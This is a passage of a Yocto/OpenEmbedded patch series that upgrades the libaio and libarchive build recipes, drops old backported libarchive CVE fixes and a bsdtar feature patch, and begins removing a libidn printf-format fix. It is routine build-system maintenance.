LINK_FLAGS+=$(LDFLAGS)
+ ENABLE_SHARED ?= 1
- soname=libaio.so.1
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-extended/libaio/libaio_0.3.110.bb b/meta/recipes-extended/libaio/libaio_0.3.113.bb
index 75975d4ab7..87ab22ed17 100644
--- a/meta/recipes-extended/libaio/libaio_0.3.110.bb
+++ b/meta/recipes-extended/libaio/libaio_0.3.113.bb
@@ -2,25 +2,21 @@ SUMMARY = "Asynchronous I/O library"
DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
-SRC_URI = "http://snapshot.debian.org/archive/debian/20160728T043443Z/pool/main/liba/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://generic-arch-dectection-for-padding-defines.patch \
+SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
file://00_arches.patch \
- file://destdir.patch \
- file://libaio_fix_for_x32.patch \
file://libaio_fix_for_mips_syscalls.patch \
file://system-linkage.patch \
"
-
-SRC_URI[md5sum] = "2a35602e43778383e2f4907a4ca39ab8"
-SRC_URI[sha256sum] = "e019028e631725729376250e32b473012f7cb68e1f7275bfc1bbcdd0f8745f7e"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/liba/libaio/"
+SRCREV = "1b18bfafc6a2f7b9fa2c6be77a95afed8b7be448"
+S = "${WORKDIR}/git"
EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
do_install () {
oe_runmake install DESTDIR=${D}
}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive/CVE-2017-14166.patch b/meta/recipes-extended/libarchive/libarchive/CVE-2017-14166.patch
deleted file mode 100644
index e85fec40aa..0000000000
--- a/meta/recipes-extended/libarchive/libarchive/CVE-2017-14166.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-libarchive-3.3.2: Fix CVE-2017-14166
-
-[No upstream tracking] -- https://github.com/libarchive/libarchive/pull/935
-
-archive_read_support_format_xar: heap-based buffer overflow in xml_data
-
-Upstream-Status: Backport [https://github.com/libarchive/libarchive/commit/fa7438a0ff4033e4741c807394a9af6207940d71]
-CVE: CVE-2017-14166
-Bug: 935
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-
-diff --git a/libarchive/archive_read_support_format_xar.c b/libarchive/archive_read_support_format_xar.c
-index 7a22beb..93eeacc 100644
---- a/libarchive/archive_read_support_format_xar.c
-+++ b/libarchive/archive_read_support_format_xar.c
-@@ -1040,6 +1040,9 @@ atol10(const char *p, size_t char_cnt)
- uint64_t l;
- int digit;
-
-+ if (char_cnt == 0)
-+ return (0);
-+
- l = 0;
- digit = *p - '0';
- while (digit >= 0 && digit < 10 && char_cnt-- > 0) {
-@@ -1054,7 +1057,10 @@ atol8(const char *p, size_t char_cnt)
- {
- int64_t l;
- int digit;
--
-+
-+ if (char_cnt == 0)
-+ return (0);
-+
- l = 0;
- while (char_cnt-- > 0) {
- if (*p >= '0' && *p <= '7')
diff --git a/meta/recipes-extended/libarchive/libarchive/CVE-2017-14502.patch b/meta/recipes-extended/libarchive/libarchive/CVE-2017-14502.patch
deleted file mode 100644
index 72e1546435..0000000000
--- a/meta/recipes-extended/libarchive/libarchive/CVE-2017-14502.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 5562545b5562f6d12a4ef991fae158bf4ccf92b6 Mon Sep 17 00:00:00 2001
-From: Joerg Sonnenberger <joerg@bec.de>
-Date: Sat, 9 Sep 2017 17:47:32 +0200
-Subject: [PATCH] Avoid a read off-by-one error for UTF16 names in RAR
- archives.
-
-Reported-By: OSS-Fuzz issue 573
-
-CVE: CVE-2017-14502
-
-Upstream-Status: Backport
-
-Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
----
- libarchive/archive_read_support_format_rar.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/libarchive/archive_read_support_format_rar.c b/libarchive/archive_read_support_format_rar.c
-index cbb14c3..751de69 100644
---- a/libarchive/archive_read_support_format_rar.c
-+++ b/libarchive/archive_read_support_format_rar.c
-@@ -1496,7 +1496,11 @@ read_header(struct archive_read *a, struct archive_entry *entry,
- return (ARCHIVE_FATAL);
- }
- filename[filename_size++] = '\0';
-- filename[filename_size++] = '\0';
-+ /*
-+ * Do not increment filename_size here as the computations below
-+ * add the space for the terminating NUL explicitly.
-+ */
-+ filename[filename_size] = '\0';
-
- /* Decoded unicode form is UTF-16BE, so we have to update a string
- * conversion object for it. */
---
-1.9.1
-
diff --git a/meta/recipes-extended/libarchive/libarchive/bug929.patch b/meta/recipes-extended/libarchive/libarchive/bug929.patch
deleted file mode 100644
index 2f3254c8dc..0000000000
--- a/meta/recipes-extended/libarchive/libarchive/bug929.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-libarchive-3.3.2: Fix bug929
-
-[No upstream tracking] -- https://github.com/libarchive/libarchive/pull/929
-
-archive_read_support_format_cpio: header_newc(): Avoid overflow when reading corrupt
-cpio archive
-
-A cpio "newc" archive with a namelength of "FFFFFFFF", if read on a
-system with a 32-bit size_t, would result in namelength + name_pad
-overflowing 32 bits and libarchive attempting to copy 2^32-1 bytes
-from a 2-byte buffer, with appropriately hilarious results.
-
-Check for this overflow and fail; there's no legitimate reason for a
-cpio archive to contain a file with a name over 4 billion characters
-in length.
-
-Upstream-Status: Backport [https://github.com/libarchive/libarchive/commit/bac4659e0b970990e7e3f3a3d239294e96311630]
-Bug: 929
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-
-diff --git a/libarchive/archive_read_support_format_cpio.c b/libarchive/archive_read_support_format_cpio.c
-index ad9f782..1faa64d 100644
---- a/libarchive/archive_read_support_format_cpio.c
-+++ b/libarchive/archive_read_support_format_cpio.c
-@@ -633,6 +633,13 @@ header_newc(struct archive_read *a, struct cpio *cpio,
- /* Pad name to 2 more than a multiple of 4. */
- *name_pad = (2 - *namelength) & 3;
-
-+ /* Make sure that the padded name length fits into size_t. */
-+ if ((size_t)(*namelength + *name_pad) < *namelength) {
-+ archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
-+ "cpio archive has invalid namelength");
-+ return (ARCHIVE_FATAL);
-+ }
-+
- /*
- * Note: entry_bytes_remaining is at least 64 bits and
- * therefore guaranteed to be big enough for a 33-bit file
diff --git a/meta/recipes-extended/libarchive/libarchive/configurehack.patch b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
new file mode 100644
index 0000000000..45fddd9147
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
@@ -0,0 +1,55 @@
+To work with autoconf 2.73, tweak the macro ordering in configure.in.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ configure.ac | 26 +++++++++++++-------------
+ 1 file changed, 13 insertions(+), 13 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 503bb75..e3101da 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -414,6 +414,19 @@ if test "x$with_bz2lib" != "xno"; then
+ esac
+ fi
+
++# Checks for typedefs, structures, and compiler characteristics.
++AC_C_CONST
++# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
++# and MSVC. Use a customized version.
++la_TYPE_UID_T
++AC_TYPE_MODE_T
++# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
++# most systems... default to "long long" instead.
++AC_CHECK_TYPE(off_t, [long long])
++AC_TYPE_SIZE_T
++AC_CHECK_TYPE(id_t, [unsigned long])
++AC_CHECK_TYPE(uintptr_t, [unsigned int])
++
+ AC_ARG_WITH([libb2],
+ AS_HELP_STRING([--without-libb2], [Don't build support for BLAKE2 through libb2]))
+
+@@ -678,19 +691,6 @@ fi
+
+ AC_SUBST(DEAD_CODE_REMOVAL)
+
+-# Checks for typedefs, structures, and compiler characteristics.
+-AC_C_CONST
+-# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
+-# and MSVC. Use a customized version.
+-la_TYPE_UID_T
+-AC_TYPE_MODE_T
+-# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
+-# most systems... default to "long long" instead.
+-AC_CHECK_TYPE(off_t, [long long])
+-AC_TYPE_SIZE_T
+-AC_CHECK_TYPE(id_t, [unsigned long])
+-AC_CHECK_TYPE(uintptr_t, [unsigned int])
+-
+ # Check for tm_gmtoff in struct tm
+ AC_CHECK_MEMBERS([struct tm.tm_gmtoff, struct tm.__tm_gmtoff],,,
+ [
+--
+2.34.1
+
diff --git a/meta/recipes-extended/libarchive/libarchive/non-recursive-extract-and-list.patch b/meta/recipes-extended/libarchive/libarchive/non-recursive-extract-and-list.patch
deleted file mode 100644
index cd7be5127a..0000000000
--- a/meta/recipes-extended/libarchive/libarchive/non-recursive-extract-and-list.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-From 47f7566f6829c2b14e21bbbba699916de4998c72 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Mon, 24 Oct 2016 12:54:48 +0200
-Subject: [PATCH 1/1] non-recursive extract and list
-
-Sometimes it makes sense to extract or list a directory contained in
-an archive without also doing the same for the content of the
-directory, i.e. allowing -n (= --no-recursion) in combination with the
-x and t modes.
-
-bsdtar uses the match functionality in libarchive to track include
-matches. A new libarchive API call
-archive_match_include_directories_recursively() gets introduced to
-influence the matching behavior, with the default behavior as before.
-
-Non-recursive matching can be achieved by anchoring the path match at
-both start and end. Asking for a directory which itself isn't in the
-archive when in non-recursive mode is an error and handled by the
-existing mechanism for tracking unused inclusion entries.
-
-Upstream-Status: Submitted [https://github.com/libarchive/libarchive/pull/812]
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
-
----
- libarchive/archive.h | 2 ++
- libarchive/archive_match.c | 30 +++++++++++++++++++++++++++++-
- tar/bsdtar.1 | 3 +--
- tar/bsdtar.c | 12 ++++++++++--
- 4 files changed, 42 insertions(+), 5 deletions(-)
-
-diff --git a/libarchive/archive.h b/libarchive/archive.h
-index 32710201..59fb4aa6 100644
---- a/libarchive/archive.h
-+++ b/libarchive/archive.h
-@@ -1093,6 +1093,8 @@ __LA_DECL int archive_match_excluded(struct archive *,
- */
- __LA_DECL int archive_match_path_excluded(struct archive *,
- struct archive_entry *);
-+/* Control recursive inclusion of directory content when directory is included. Default on. */
-+__LA_DECL int archive_match_include_directories_recursively(struct archive *, int _enabled);
- /* Add exclusion pathname pattern. */
- __LA_DECL int archive_match_exclude_pattern(struct archive *, const char *);
- __LA_DECL int archive_match_exclude_pattern_w(struct archive *,
-diff --git a/libarchive/archive_match.c b/libarchive/archive_match.c
-index be72066e..bb6a3407 100644
---- a/libarchive/archive_match.c
-+++ b/libarchive/archive_match.c
-@@ -93,6 +93,9 @@ struct archive_match {
- /* exclusion/inclusion set flag. */
- int setflag;
-
-+ /* Recursively include directory content? */
-+ int recursive_include;
-+
- /*
- * Matching filename patterns.
- */
-@@ -223,6 +226,7 @@ archive_match_new(void)
- return (NULL);
- a->archive.magic = ARCHIVE_MATCH_MAGIC;
- a->archive.state = ARCHIVE_STATE_NEW;
-+ a->recursive_include = 1;
- match_list_init(&(a->inclusions));
- match_list_init(&(a->exclusions));
- __archive_rb_tree_init(&(a->exclusion_tree), &rb_ops_mbs);
-@@ -471,6 +475,28 @@ archive_match_path_excluded(struct archive *_a,
- }
-
- /*
-+ * When recursive inclusion of directory content is enabled,
-+ * an inclusion pattern that matches a directory will also
-+ * include everything beneath that directory. Enabled by default.
-+ *
-+ * For compatibility with GNU tar, exclusion patterns always
-+ * match if a subset of the full patch matches (i.e., they are
-+ * are not rooted at the beginning of the path) and thus there
-+ * is no corresponding non-recursive exclusion mode.
-+ */
-+int
-+archive_match_include_directories_recursively(struct archive *_a, int _enabled)
-+{
-+ struct archive_match *a;
-+
-+ archive_check_magic(_a, ARCHIVE_MATCH_MAGIC,
-+ ARCHIVE_STATE_NEW, "archive_match_include_directories_recursively");
-+ a = (struct archive_match *)_a;
-+ a->recursive_include = _enabled;
-+ return (ARCHIVE_OK);
-+}
-+
-+/*
- * Utility functions to get statistic information for inclusion patterns.
- */
- int
-@@ -781,7 +807,9 @@ static int
- match_path_inclusion(struct archive_match *a, struct match *m,
- int mbs, const void *pn)
- {
-- int flag = PATHMATCH_NO_ANCHOR_END;
-+ int flag = a->recursive_include ?
-+ PATHMATCH_NO_ANCHOR_END : /* Prefix match is good enough. */
-+ 0; /* Full match required. */
- int r;
-
- if (mbs) {
-diff --git a/tar/bsdtar.1 b/tar/bsdtar.1
-index 132e1145..1dd2a847 100644
---- a/tar/bsdtar.1
-+++ b/tar/bsdtar.1
-@@ -386,8 +386,7 @@ and the default behavior in c, r, and u modes or if
- .Nm
- is run in x mode as root.
- .It Fl n , Fl Fl norecurse , Fl Fl no-recursion
--(c, r, u modes only)
--Do not recursively archive the contents of directories.
-+Do not recursively archive (c, r, u), extract (x) or list (t) the contents of directories.
- .It Fl Fl newer Ar date
- (c, r, u modes only)
- Only include files and directories newer than the specified date.
-diff --git a/tar/bsdtar.c b/tar/bsdtar.c
-index 11dedbf9..d014cc3e 100644
---- a/tar/bsdtar.c
-+++ b/tar/bsdtar.c
-@@ -794,8 +794,6 @@ main(int argc, char **argv)
- break;
- }
- }
-- if (bsdtar->flags & OPTFLAG_NO_SUBDIRS)
-- only_mode(bsdtar, "-n", "cru");
- if (bsdtar->flags & OPTFLAG_STDOUT)
- only_mode(bsdtar, "-O", "xt");
- if (bsdtar->flags & OPTFLAG_UNLINK_FIRST)
-@@ -845,6 +843,16 @@ main(int argc, char **argv)
- only_mode(bsdtar, buff, "cru");
- }
-
-+ /*
-+ * When creating an archive from a directory tree, the directory
-+ * walking code will already avoid entering directories when
-+ * recursive inclusion of directory content is disabled, therefore
-+ * changing the matching behavior has no effect for creation modes.
-+ * It is relevant for extraction or listing.
-+ */
-+ archive_match_include_directories_recursively(bsdtar->matching,
-+ !(bsdtar->flags & OPTFLAG_NO_SUBDIRS));
-+
- /* Filename "-" implies stdio. */
- if (strcmp(bsdtar->filename, "-") == 0)
- bsdtar->filename = NULL;
---
-2.11.0
-
diff --git a/meta/recipes-extended/libarchive/libarchive_3.3.2.bb b/meta/recipes-extended/libarchive/libarchive_3.7.3.bb
index 5eded35c64..bea91b6e97 100644
--- a/meta/recipes-extended/libarchive/libarchive_3.3.2.bb
+++ b/meta/recipes-extended/libarchive/libarchive_3.7.3.bb
@@ -2,20 +2,15 @@ SUMMARY = "Support for reading various archive formats"
DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
HOMEPAGE = "http://www.libarchive.org/"
SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ed99aca006bc346974bb745a35336425"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
DEPENDS = "e2fsprogs-native"
-PACKAGECONFIG ?= "zlib bz2"
-
-PACKAGECONFIG_append_class-target = "\
- libxml2 \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
+PACKAGECONFIG ?= "zlib bz2 xz zstd ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)}"
DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
+DEPENDS_BZIP2:class-target = "bzip2"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
@@ -23,30 +18,31 @@ PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
+
+EXTRA_OECONF += "--enable-largefile --without-iconv"
-EXTRA_OECONF += "--enable-largefile"
+SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
+SRC_URI += "file://configurehack.patch"
+UPSTREAM_CHECK_URI = "http://libarchive.org/"
-SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz \
- file://bug929.patch \
- file://CVE-2017-14166.patch \
- file://CVE-2017-14502.patch \
- file://non-recursive-extract-and-list.patch \
- "
+SRC_URI[sha256sum] = "f27a97bc22ceb996e72502df47dc19f99f9a0f09181ae909f09f3c9eb17b67e2"
-SRC_URI[md5sum] = "4583bd6b2ebf7e0e8963d90879eb1b27"
-SRC_URI[sha256sum] = "ed2dbd6954792b2c054ccf8ec4b330a54b85904a80cef477a1c74643ddafa0ce"
+CVE_STATUS[CVE-2023-30571] = "upstream-wontfix: upstream has documented that reported function is not thread-safe"
inherit autotools update-alternatives pkgconfig
CPPFLAGS += "-I${WORKDIR}/extra-includes"
do_configure[cleandirs] += "${WORKDIR}/extra-includes"
-do_configure_prepend() {
+do_configure:prepend() {
# We just need the headers for some type constants, so no need to
# build all of e2fsprogs for the target
cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
@@ -55,16 +51,16 @@ do_configure_prepend() {
ALTERNATIVE_PRIORITY = "80"
PACKAGES =+ "bsdtar"
-FILES_bsdtar = "${bindir}/bsdtar"
+FILES:bsdtar = "${bindir}/bsdtar"
-ALTERNATIVE_bsdtar = "tar"
+ALTERNATIVE:bsdtar = "tar"
ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
PACKAGES =+ "bsdcpio"
-FILES_bsdcpio = "${bindir}/bsdcpio"
+FILES:bsdcpio = "${bindir}/bsdcpio"
-ALTERNATIVE_bsdcpio = "cpio"
+ALTERNATIVE:bsdcpio = "cpio"
ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
diff --git a/meta/recipes-extended/libidn/libidn/0001-idn-fix-printf-format-security-warnings.patch b/meta/recipes-extended/libidn/libidn/0001-idn-fix-printf-format-security-warnings.patch
deleted file mode 100644
index 2d5faabb24..0000000000
--- a/meta/recipes-extended/libidn/libidn/0001-idn-fix-printf-format-security-warnings.patch
+++ /dev/null
@@ -1,694 +0,0 @@
-From 7148adf34dae30345c2e4d9d437838a45ba6f6e8 Mon Sep 17 00:00:00 2001
-From: =?utf8?q?Tim=20R=C3=BChsen?= <tim.ruehsen@gmx.de>
-Date: Wed, 1 Feb 2017 11:06:39 +0100
-Subject: [PATCH] Fix -Wformat warnings
-
----
-Upstream-Status: Backport
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- examples/example.c | 6 +++---
- examples/example3.c | 4 ++--
- examples/example4.c | 4 ++--
- examples/example5.c | 2 +-
- src/idn.c | 2 +-
- tests/tst_idna.c | 25 +++++++++++++------------
- tests/tst_idna2.c | 8 ++++----
- tests/tst_idna3.c | 8 ++++----
- tests/tst_nfkc.c | 8 ++++----
- tests/tst_pr29.c | 12 ++++++------
- tests/tst_punycode.c | 13 +++++++------
- tests/tst_strerror.c | 20 ++++++++++----------
- tests/tst_stringprep.c | 12 ++++++------
- tests/tst_tld.c | 20 ++++++++++----------
- tests/utils.c | 6 +++---
- 15 files changed, 76 insertions(+), 74 deletions(-)
-
-diff --git a/examples/example.c b/examples/example.c
-index 6e91783..24f64e0 100644
---- a/examples/example.c
-+++ b/examples/example.c
-@@ -55,7 +55,7 @@ main (void)
-
- printf ("Before locale2utf8 (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
-
- p = stringprep_locale_to_utf8 (buf);
-@@ -69,7 +69,7 @@ main (void)
-
- printf ("Before stringprep (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
-
- rc = stringprep (buf, BUFSIZ, 0, stringprep_nameprep);
-@@ -79,7 +79,7 @@ main (void)
- {
- printf ("After stringprep (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
- }
-
-diff --git a/examples/example3.c b/examples/example3.c
-index fc11c1c..ffb9042 100644
---- a/examples/example3.c
-+++ b/examples/example3.c
-@@ -56,7 +56,7 @@ main (void)
-
- printf ("Read string (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
-
- rc = idna_to_ascii_lz (buf, &p, 0);
-@@ -68,7 +68,7 @@ main (void)
-
- printf ("ACE label (length %ld): '%s'\n", (long int) strlen (p), p);
- for (i = 0; i < strlen (p); i++)
-- printf ("%02x ", p[i] & 0xFF);
-+ printf ("%02x ", (unsigned) p[i] & 0xFF);
- printf ("\n");
-
- free (p);
-diff --git a/examples/example4.c b/examples/example4.c
-index 1b319c9..a3315a1 100644
---- a/examples/example4.c
-+++ b/examples/example4.c
-@@ -56,7 +56,7 @@ main (void)
-
- printf ("Read string (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
-
- rc = idna_to_unicode_lzlz (buf, &p, 0);
-@@ -68,7 +68,7 @@ main (void)
-
- printf ("ACE label (length %ld): '%s'\n", (long int) strlen (p), p);
- for (i = 0; i < strlen (p); i++)
-- printf ("%02x ", p[i] & 0xFF);
-+ printf ("%02x ", (unsigned) p[i] & 0xFF);
- printf ("\n");
-
- free (p);
-diff --git a/examples/example5.c b/examples/example5.c
-index df55798..29d40b9 100644
---- a/examples/example5.c
-+++ b/examples/example5.c
-@@ -68,7 +68,7 @@ main (void)
-
- printf ("Read string (length %ld): ", (long int) strlen (buf));
- for (i = 0; i < strlen (buf); i++)
-- printf ("%02x ", buf[i] & 0xFF);
-+ printf ("%02x ", (unsigned) buf[i] & 0xFF);
- printf ("\n");
-
- p = stringprep_locale_to_utf8 (buf);
-diff --git a/src/idn.c b/src/idn.c
-index be1c7d1..13eb3c9 100644
---- a/src/idn.c
-+++ b/src/idn.c
-@@ -419,7 +419,7 @@ main (int argc, char *argv[])
- size_t i;
- for (i = 0; p[i]; i++)
- fprintf (stderr, "output[%lu] = U+%04x\n",
-- (unsigned long) i, p[i]);
-+ (unsigned long) i, (unsigned) p[i]);
- }
-
- fprintf (stdout, "%s\n", p);
-diff --git a/tests/tst_idna.c b/tests/tst_idna.c
-index 415764e..4ac046f 100644
---- a/tests/tst_idna.c
-+++ b/tests/tst_idna.c
-@@ -220,13 +220,14 @@ doit (void)
- char label[100];
- uint32_t *ucs4label = NULL;
- uint32_t tmp[100];
-- size_t len, len2, i;
-+ size_t len, len2;
- int rc;
-+ unsigned i;
-
- for (i = 0; i < sizeof (idna) / sizeof (idna[0]); i++)
- {
- if (debug)
-- printf ("IDNA entry %ld: %s\n", i, idna[i].name);
-+ printf ("IDNA entry %u: %s\n", i, idna[i].name);
-
- if (debug)
- {
-@@ -237,7 +238,7 @@ doit (void)
- rc = idna_to_ascii_4i (idna[i].in, idna[i].inlen, label, idna[i].flags);
- if (rc != idna[i].toasciirc)
- {
-- fail ("IDNA entry %ld failed: %d\n", i, rc);
-+ fail ("IDNA entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -256,7 +257,7 @@ doit (void)
- if (strlen (idna[i].out) != strlen (label) ||
- strcasecmp (idna[i].out, label) != 0)
- {
-- fail ("IDNA entry %ld failed\n", i);
-+ fail ("IDNA entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-@@ -273,8 +274,8 @@ doit (void)
-
- if (debug)
- {
-- printf ("in: %s (%ld==%ld)\n", idna[i].out, strlen (idna[i].out),
-- len);
-+ printf ("in: %s (%d==%d)\n", idna[i].out, (int) strlen (idna[i].out),
-+ (int) len);
- ucs4print (ucs4label, len);
- }
-
-@@ -282,20 +283,20 @@ doit (void)
- rc = idna_to_unicode_44i (ucs4label, len, tmp, &len2, idna[i].flags);
- if (debug)
- {
-- printf ("expected out (%ld):\n",
-+ printf ("expected out (%lu):\n",
- rc == IDNA_SUCCESS ? idna[i].inlen : len);
- if (rc == IDNA_SUCCESS)
- ucs4print (idna[i].in, idna[i].inlen);
- else
- ucs4print (ucs4label, len);
-
-- printf ("computed out (%ld):\n", len2);
-+ printf ("computed out (%d):\n", (int) len2);
- ucs4print (tmp, len2);
- }
-
- if (rc != idna[i].tounicoderc)
- {
-- fail ("IDNA entry %ld failed: %d\n", i, rc);
-+ fail ("IDNA entry %u failed: %d\n", i, rc);
- if (debug)
- printf ("FATAL\n");
- continue;
-@@ -309,11 +310,11 @@ doit (void)
- if (debug)
- {
- if (rc == IDNA_SUCCESS)
-- printf ("len=%ld len2=%ld\n", len2, idna[i].inlen);
-+ printf ("len=%d len2=%d\n", (int) len2, (int) idna[i].inlen);
- else
-- printf ("len=%ld len2=%ld\n", len, len2);
-+ printf ("len=%d len2=%d\n", (int) len, (int) len2);
- }
-- fail ("IDNA entry %ld failed\n", i);
-+ fail ("IDNA entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-diff --git a/tests/tst_idna2.c b/tests/tst_idna2.c
-index 65b3a4d..38932ca 100644
---- a/tests/tst_idna2.c
-+++ b/tests/tst_idna2.c
-@@ -461,14 +461,14 @@ static const struct idna idna[] = {
- void
- doit (void)
- {
-- size_t i;
-+ unsigned i;
- char *out;
- int rc;
-
- for (i = 0; i < sizeof (idna) / sizeof (idna[0]); i++)
- {
- if (debug)
-- printf ("IDNA2 entry %ld\n", i);
-+ printf ("IDNA2 entry %u\n", i);
-
- if (debug)
- {
-@@ -487,7 +487,7 @@ doit (void)
- IDNA_USE_STD3_ASCII_RULES);
- if (rc != IDNA_SUCCESS && strlen (idna[i].out) > 0)
- {
-- fail ("IDNA2 entry %ld failed: %d\n", i, rc);
-+ fail ("IDNA2 entry %u failed: %d\n", i, rc);
- continue;
- }
-
-@@ -504,7 +504,7 @@ doit (void)
- if (strlen (idna[i].out) != strlen (out) ||
- strcasecmp (idna[i].out, out) != 0)
- {
-- fail ("IDNA2 entry %ld failed\n", i);
-+ fail ("IDNA2 entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-diff --git a/tests/tst_idna3.c b/tests/tst_idna3.c
-index a189378..f65628c 100644
---- a/tests/tst_idna3.c
-+++ b/tests/tst_idna3.c
-@@ -59,13 +59,13 @@ doit (void)
- {
- int rc;
- char *out = NULL;
-- size_t i;
-+ unsigned i;
-
- for (i = 0; i < sizeof (idna) / sizeof (idna[0]); i++)
- {
- rc = idna_to_unicode_8z8z (idna[i].in, &out, 0);
- if (rc != IDNA_SUCCESS)
-- fail ("IDNA3[%ld] failed %d\n", i, rc);
-+ fail ("IDNA3[%u] failed %d\n", i, rc);
-
- if (debug && rc == IDNA_SUCCESS)
- {
-@@ -75,9 +75,9 @@ doit (void)
- }
-
- if (strcmp (out, idna[i].out) != 0)
-- fail ("IDNA3[%ld] failed\n", i);
-+ fail ("IDNA3[%u] failed\n", i);
- else if (debug)
-- printf ("IDNA3[%ld] success\n", i);
-+ printf ("IDNA3[%u] success\n", i);
-
- if (out)
- idn_free (out);
-diff --git a/tests/tst_nfkc.c b/tests/tst_nfkc.c
-index d150fec..f5af9c6 100644
---- a/tests/tst_nfkc.c
-+++ b/tests/tst_nfkc.c
-@@ -68,18 +68,18 @@ void
- doit (void)
- {
- char *out;
-- size_t i;
-+ unsigned i;
-
- for (i = 0; i < sizeof (nfkc) / sizeof (nfkc[0]); i++)
- {
- if (debug)
-- printf ("NFKC entry %ld\n", i);
-+ printf ("NFKC entry %u\n", i);
-
- out = stringprep_utf8_nfkc_normalize (nfkc[i].in,
- (ssize_t) strlen (nfkc[i].in));
- if (out == NULL)
- {
-- fail ("NFKC entry %ld failed fatally\n", i);
-+ fail ("NFKC entry %u failed fatally\n", i);
- continue;
- }
-
-@@ -114,7 +114,7 @@ doit (void)
- if (strlen (nfkc[i].out) != strlen (out) ||
- memcmp (nfkc[i].out, out, strlen (out)) != 0)
- {
-- fail ("NFKC entry %ld failed\n", i);
-+ fail ("NFKC entry %u failed\n", i);
- if (debug)
- printf ("ERROR\n");
- }
-diff --git a/tests/tst_pr29.c b/tests/tst_pr29.c
-index 3dc5466..11d0ede 100644
